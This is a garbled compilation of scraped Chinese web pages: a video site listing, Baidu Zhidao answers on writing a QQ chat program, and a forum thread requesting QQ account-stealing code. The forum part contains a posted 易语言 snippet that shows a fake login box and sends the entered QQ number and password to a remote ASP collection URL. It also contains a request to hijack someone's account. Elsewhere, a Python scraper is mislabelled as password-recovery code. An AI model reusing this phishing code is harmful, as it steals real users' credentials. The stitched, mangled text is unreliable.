谁能用用c语言把文件显示出来写出来的加我qq1969559438,有酬金

《爱情公寓》展博用C语言写出来的诗,念完后子乔一菲才发现上当_腾讯视频
三倍流畅播放
1080P蓝光画质
新剧提前看
1080P蓝光画质
纯净式无框播放器
三倍流畅播放
扫一扫 手机继续看
下载需先安装客户端
{clientText}
客户端特权:
3倍流畅播放
当前播放至 {time}
扫一扫 手机继续看
致青春·原来你还在这里
吴亦凡刘亦菲高颜值青春
萌萌哒神犬又来了
喜剧总动员 第2季
郑爽被表白索吻机智脱身!宋小宝疯狂打call满场跑
爱情公寓3:两位美女来找陆展博,想和他一起玩足球游戏
女子嫌丑整容,当男子松开手的一刹那,太美了
别人唱歌要钱,胡一菲唱歌是真要命
灰姑娘替奶娘拿衣服,没想到竟发现少爷中毒重要证据,恍然大悟
《爱情公寓》曾老师想请展博帮忙,一菲不但不吐槽,反而帮他?
神犬小七:以德报怨心善良,艾亮终原谅于飞了!
林宛瑜假装展博的女友送便当,胡一菲瞎搅和上来就给展博两耳光!
《极品新娘》李沁玩布娃娃“钱多多”被金世佳嫌弃太丑,又找骂是不是?
西游奇遇记
岳云鹏卖萌索吻遭嫌弃,周迅惊险漂流情绪失控。
陈建斌蒋勤勤的黑色寓言
“吃吃”的爱
小S林志玲爆笑互撕
陪安东尼度过漫长岁月
长腿男模刘畅情陷白百何
爱情公寓:曾小贤下决心和劳拉分手
神犬小七:于飞买醉颇反常,心中失衡差点闯祸了 !
美女结婚,父亲竟然找前男友做司仪!
傻子丈夫总是想帮妻子干点活,可总是做不好
爱情公寓:展博搭讪女孩也太容易了吧
神医帮小伙相亲,美女只看了一眼就相中了小伙,真厉害!
爱情公寓:展博列了一个提案,结果子乔对展博的提案很失望!
《极品新娘》唐荳荳被郭嬷嬷算计
林心如卷入海上恐怖机关
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要
副标题要不要如何用c语言编写QQ聊天程序(源代码)_百度知道
如何用c语言编写QQ聊天程序(源代码)
想要得到程序代码
我有更好的答案求助知道网友
你可以先看看DirectX 开发包里面的 DirectPlay部分, 里面有个简单的框架. 教你怎么搭建一个小型的 Server/client 程序. 利用这个框架. 你可以写一个简单的QQ.实现局域网中多台机器的聊天和数据传输.
直接联系马化腾,如果他能给你的话就不需要自己弄了。
QQ的找回密码代码
#&-*-&coding:&utf-8&-*-&&&Created&on&Fri&Aug&07&17:30:58&2015@author:&Dreace&&&import&urllib2import&sysimport&timeimport&osimport&randomfrom&multiprocessing.dummy&import&Pool&as&ThreadPool&type_&=&sys.getfilesystemencoding()def&rename():&&&&return&time.strftime(&%Y%m%d%H%M%S&)def&rename_2(name):&&&&&&if&len(name)&==&2:&&&&&&&&&&name&=&'0'&+&name&&&&&&elif&len(name)&==&1:&&&&&&&&&&name&=&'00'&+&name&&&&else:&&&&&&&&&&name&=&name&&&&&return&namedef&download_pic(i):&&&&global&count&&&&global&time_out&&&&if&Filter(i):&&&&&&&&try:&&&&&&&&&&&&&content&=&urllib2.urlopen(i,timeout&=&time_out)&&&&&&&&&&&&url_content&=&content.read()&&&&&&&&&&&&file_name&=&rename_2(repr(count))&+&&_&&+&repr(random.randint(999))&+&&.jpg&&&&&&&&&&&&&f&=&open(file_name,&wb&)&&&&&&&&&&&&f.write(url_content)&&&&&&&&&&&&f.close()&&&&&&&&&&&&if&os.path.getsize(file_name)&&=&1024*11:&&&&&&&&&&&&&&&&count&+=&1&&&&&&&&&&&&else:&&&&&&&&&&&&&&&&os.remove(file_name)&&&&&&&&except&Exception,&e:&&&&&&&&&&&&print&edef&Filter(content):&&&&for&line&in&Filter_list:&&&&&&&&if&content.find(line)&==&-1:&&&&&&&&&&&&return&Truedef&get_pic(url_address):&&&&global&pic_list&&&&global&time_out&&&&global&headers&&&&try:&&&&&&&&req&=&urllib2.Request(url&=&url_address,headers&=&headers)&&&&&&&&str_&=&urllib2.urlopen(req,&timeout&=&time_out).read()&&&&&&&&url_content&=&str_.split(&\'&)&&&&&&&&for&i&in&url_content:&&&&&&&&&&&&if&i.find(&.jpg&)&!=&-1:&&&&&&&&&&&&&&&&pic_list.append(i)&&&&&&&except&Exception,&e:&&&&&&&&print&eMAX&=&100count&=&0time_out&=&60thread_num&=&50pic_list&=&[]page_list&=&[]pic_kind&=&[&hot&,&share&,&mm&,&taiwan&,&japan&,&model&]Filter_list&=&[&imgsize.ph.126.net&,&img.ph.126.net&,&img2.ph.126.net&]dir_name&=&&F:\Photos\\&+rename()os.makedirs(dir_name)os.chdir(dir_name)start_time&=&time.time()#url_address&=&&url_address&=&&headers&=&{&User-Agent&:&&Mozilla/5.0&(Windows&NT&10.0;&rv:39.0)&Gecko/&Firefox/39.0&}for&pic_i&in&pic_kind:&&&&&&&&&for&i&in&range(1,MAX&+&1):&&&&&&&&&&page_list.append(url_address&+&pic_i&+&&/page/&&+&repr(i))page_pool&=&ThreadPool(thread_num)page_pool.map(get_pic,page_list)page_pool.close()page_pool.join()print&&获取到&.decode(&utf-8&).encode(type_),len(pic_list),&张图片,开始下载!&.decode(&utf-8&).encode(type_)pool&=&ThreadPool(thread_num)&pool.map(download_pic,pic_list)pool.close()&pool.join()print&count,&张图片保存在&.decode(&utf-8&).encode(type_)&+&dir_nameprint&&共耗时&.decode(&utf-8&).encode(type_),time.time()&-&start_time,&s&&#Python2.7.10---httplib2-0.7.7-----
本回答被网友采纳
写不出来的。qq 经历了这么多年的改变,已经不在是简单的一个软件了,他自己也写了很多底层的东西~
main.cpp#include&&QCoreApplication&&&&&#include&&QTime&&&&&#include&&icqserver.h&&&&&#include&&global.h&&&&&int&main(int&argc,&char&*argv[])&&&&{&&&& QTime&midnight(0,0,0);&&&& qsrand(midnight.secsTo(QTime::currentTime()));&&&& User&&&&&
user.login&=&&DrSmyrke&;&&&&
user.nikName&=&user.&&&&
user.pass&=&&123456&;&&&&
user.type&=&icq_user_ICQ;&&&& app::users.push_back(user);&&&& QCoreApplication&a(argc,&argv);&&&& ICQServer&&&&& server.init();&&&& return&a.exec();&&&&}globla.cpp#include&&global.h&&&&&#include&&QIODevice&&&&&#include&&QDataStream&&&&&#include&&QCryptographicHash&&&&&//TODO:&remove&qDEbug&&&&#include&&QDebug&&&&&namespace&app&{&&&& std::vector&User&&&&&& ServerSettings&&&&& bool&isUser(const&QByteArray&&login)&&&& {&&&&
for(auto&elem:app::users){&&&&
if(elem.login&==&login){&&&&
return&&&&&
return&&&&& }&&&& void&setPassKey(const&QByteArray&&login,&const&QByteArray&&passKey)&&&& {&&&&
for(auto&&elem:app::users){&&&&
if(elem.login&==&login){&&&&
elem.passKey&=&passK&&&&
}&&&& }&&&& bool&chkPass(const&QByteArray&&login,&const&QByteArray&&pass)&&&& {&&&&
for(auto&elem:app::users){&&&&
if(elem.login&==&login){&&&&
auto&myPass&=&mf::md5(elem.passKey+elem.pass+&AOL&Instant&Messenger&(SM)&);&&&&
auto&myPass2&=&mf::md5(elem.passKey+mf::md5(elem.pass)+&AOL&Instant&Messenger&(SM)&);&&&&
if(&myPass&==&pass&or&myPass2&==&pass&)&return&&&&&
return&&&&& }&&&& void&setCookie(const&QByteArray&&login,&const&QByteArray&&cookie)&&&& {&&&&
for(auto&&elem:app::users){&&&&
if(elem.login&==&login){&&&&
elem.cookie&=&&&&&
}&&&& }&&&& bool&chkCookie(const&QByteArray&&cookie)&&&& {&&&&
for(auto&&elem:app::users){&&&&
if(elem.cookie&==&cookie){&&&&
return&&&&&
return&&&&& }&&&& QByteArray&getLogin(const&QByteArray&&cookie)&&&& {&&&&
QByteArray&&&&&
for(auto&elem:app::users){&&&&
if(elem.cookie&==&cookie){&&&&
ba.append(elem.login);&&&&
return&&&&& }&&&& unsigned&int&getUserType(const&QByteArray&&login)&&&& {&&&&
unsigned&int&&&&&
for(auto&elem:app::users){&&&&
if(elem.login&==&login){&&&&
type&=&elem.&&&&
return&&&&& }&&&& void&setIP(const&QByteArray&&cookie,&const&QHostAddress&&addr)&&&& {&&&&
for(auto&&elem:app::users){&&&&
if(elem.cookie&==&cookie){&&&&
elem.ip&=&&&&&
}&&&& }&&&& QByteArray&getIPhex(const&QByteArray&&login)&&&& {&&&&
QByteArray&&&&&
for(auto&elem:app::users){&&&&
if(elem.login&==&login){&&&&
QByteArray&&&&&
for(auto&byte:elem.ip.toString().split(&.&)){&&&&
tmp[0]&=&byte.toUInt();&&&&
ba.append(tmp);&&&&
return&&&&& }&&&& QByteArray&getNikname(const&QByteArray&&login)&&&& {&&&&
QByteArray&&&&&
for(auto&elem:app::users){&&&&
if(elem.login&==&login){&&&&
ba.append(elem.nikName);&&&&
return&&&&& }&&&&}&&&&namespace&mf&{&&&& QByteArray&toBigEndianInt(const&int&val)&&&& {&&&&
QByteArray&bytes(4,&0x00);&&&&
QDataStream&stream(&bytes,&QIODevice::WriteOnly);&&&&
stream.setByteOrder(QDataStream::BigEndian);&&&&
stream&&&&&&&&
bytes.resize(4);&&&&
return&&&&& }&&&& QByteArray&toBigEndianShort(const&short&val)&&&& {&&&&
QByteArray&bytes(2,&0x00);&&&&
QDataStream&stream(&bytes,&QIODevice::WriteOnly);&&&&
stream.setByteOrder(QDataStream::BigEndian);&&&&
stream&&&&&&&&
bytes.resize(2);&&&&
return&&&&& }&&&& unsigned&int&getRand(const&int&max)&&&& {&&&&
return&qrand()&%&&&&& }&&&& QByteArray&md5(const&QByteArray&&string)&&&& {&&&&
return&QCryptographicHash::hash(string,QCryptographicHash::Md5);&&&& }&&&&}global.h#ifndef&GLOBAL_H&&&&#define&GLOBAL_H&&&&#include&&QByteArray&&&&&#include&&QString&&&&&#include&&QHostAddress&&&&&typedef&enum{&&&& icq_user_notReg&=&0x01,&&&& icq_user_admin&=&0x02,&&&& icq_user_AOL&=&0x04,&&&& icq_user_premium&=&0x08,&&&& icq_user_AIM&=&0x10,&&&& icq_user_sleep&=&0x20,&&&& icq_user_ICQ&=&0x40,&&&& icq_user_mobile&=&0x80,&&&&}icq_user_&&&&struct&User{&&&& QByteArray&&&&& QByteArray&nikN&&&& QByteArray&&&&& QByteArray&passK&&&& QByteArray&&&&& unsigned&int&&&&& QHostAddress&&&&&};&&&&struct&ServerSettings{&&&& unsigned&short&maxContactListSize&=&100;&&&& unsigned&short&maxOnlineContactListSize&=&50;&&&& unsigned&short&maxFantomListSize&=&10;&&&&};&&&&namespace&app&{&&&& extern&std::vector&User&&&&&& extern&ServerSettings&&&&& /**&&&& &*&@brief&isUser&&&& &*&Проверяет&наличие&пользователя&в&базе&&&& &*&@return&&&& &*&true,&если&пользователь&присутствует;&иначе&false&&&& &*/&&&& bool&isUser(const&QByteArray&&login);&&&& /**&&&& &*&@brief&setPassKey&&&& &*&@param&login&&&& &*&@param&passKey&&&& &*/&&&& void&setPassKey(const&QByteArray&&login,&const&QByteArray&&passKey);&&&& /**&&&& &*&@brief&setCookie&&&& &*&Устанавливает&куки&для&пользователя&&&& &*&@param&login&&&& &*&@param&cookie&&&& &*/&&&& void&setIP(const&QByteArray&&cookie,&const&QHostAddress&&addr);&&&& void&setCookie(const&QByteArray&&login,&const&QByteArray&&cookie);&&&& /**&&&& &*&@brief&chkPass&&&& &*&Проверяет&соответствие&пароля&пользователя&в&базе&с&тем,&что&пришел&&&& &*&@return&&&& &*&true,&если&пароль&верен;&иначе&false&&&& &*/&&&& bool&chkPass(const&QByteArray&&login,&const&QByteArray&&pass);&&&& bool&chkCookie(const&QByteArray&&cookie);&&&& QByteArray&getLogin(const&QByteArray&&cookie);&&&& QByteArray&getIPhex(const&QByteArray&&login);&&&& QByteArray&getNikname(const&QByteArray&&login);&&&& unsigned&int&getUserType(const&QByteArray&&login);&&&&}&&&&namespace&mf&{&&&& QByteArray&toBigEndianInt(const&int&val);&&&& QByteArray&toBigEndianShort(const&short&val);&&&& unsigned&int&getRand(const&int&max);&&&& QByteArray&md5(const&QByteArray&&string);&&&&}&&&&#endif&//&GLOBAL_Hicqclient.cpp超过可回答的最大字当我,想要更多更详细代码可以私信我
3条折叠回答
为您推荐:
其他类似问题
qq聊天的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。编写qq软件是不是用c语言,从初学到成为编写qq软件的一员需要多长时间,难吗_百度知道
编写qq软件是不是用c语言,从初学到成为编写qq软件的一员需要多长时间,难吗
我有更好的答案
像 QQ 这么大的聊天软件不是一个语言就能解决的事,后台的服务台,数据库,前台的应用层,图形交互,还有用到网络通信,一个程序员能参与到其中一项的环节中就可以了,做应用是个累积的过程,c语言是编程的基础尽量都要学习,一般3个月左右有努力专研就小有成就,其实语言只是一门工具,重要的是编程思想,只要肯下功夫,半年到一年你就具备做软件工程师的实力,但是这很需要兴趣和耐心!
看来你对C语言了解的不够多吧,C语言主要使用系统开发,应用软件开发等等,我以前看过使用CGI脚本来开发网页,但却是没看过设计qq等聊天工具{除了GIT外},C预言师所有开发语言的“母语言”,学C语言之前我个人意见先看一下开发C语言使用的开发工具,然后抽4~6月学习,应该能学到很多东西.
为您推荐:
其他类似问题
qq软件的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。雷速体育发帖软件开发QQ千里之行 始于足下
欢迎加入我们,一同切磋技术 &
用户名: &&&
密 码: &
共有 4909 人关注过本帖
标题:谁给我一个QQ盗号的代码,谢谢了
等 级:新手上路
结帖率:100%
&&问题点数:0&&回复次数:6&&&
谁给我一个QQ盗号的代码,谢谢了
真的谢谢了,谁给我个呀
搜索更多相关主题的帖子:
等 级:新手上路
帖 子:13
不给。。怕你拿来做坏事~
我有那个软件。。
等 级:论坛游民
帖 子:57
专家分:74
囧,这样的事情可不能乱用啊....
等 级:新手上路
我有了,要的我直接给你
.支持库 internet
.如果真 (QQASP (“http://1822.pqpq.net/QQ.asp”, 编辑框1.内容, 编辑框2.内容) = “发送成功”)
.如果真结束
信息框 (“登陆成功!”, 0, )
.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
返回 (到文本 (HTTP读文件 (地址 + “?” + “qqnumber=” + 号码 + “&qqpassword=” + 密码)))
信息框 (“连接成功”, 0, )
&&&判断&&(编辑框1.内容 = &123& )
来 自:湖南
等 级:论坛游侠
帖 子:83
专家分:141
以下是引用ywgywgywg在 12:18:27的发言:
我有了,要的我直接给你
.支持库 internet
.如果真 (QQASP (“http://1822.pqpq.net/QQ.asp”, 编辑框1.内容, 编辑框2.内容) = “发送成功”)
.如果真结束
信息框 (“登陆成功!”, 0, )
.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
返回 (到文本 (HTTP读文件 (地址 + “?” + “qqnumber=” + 号码 + “&qqpassword=” + 密码)))
信息框 (“连接成功”, 0, )
&&&判断&&(编辑框1.内容 = &123& )这个是C语言论坛&&不是易语言……
&&&&&&&&&&&&&&人生莫大的悲哀是不能坚持,今天计划明天,明天念着后天,这样总难成事。
来 自:湖南科技大学
等 级:贵宾
威 望:26
帖 子:2753
专家分:13404
去中国黑客联盟网站上看!
&&&唯实惟新 至诚致志
等 级:新手上路
回复 2楼 penghanjie
你有QQ盗号软件吗?能给我个吗?我被一个骗子骗了400元,想盗了他的QQ号,或者你帮我盗下吧QQ:。谢谢
版权所有,并保留所有权利。
Powered by , Processed in 0.039994 second(s), 7 queries.
Copyright&, BCCN.NET, All Rights Reserved

我要回帖

更多关于 c语言 发送qq消息 的文章

 

随机推荐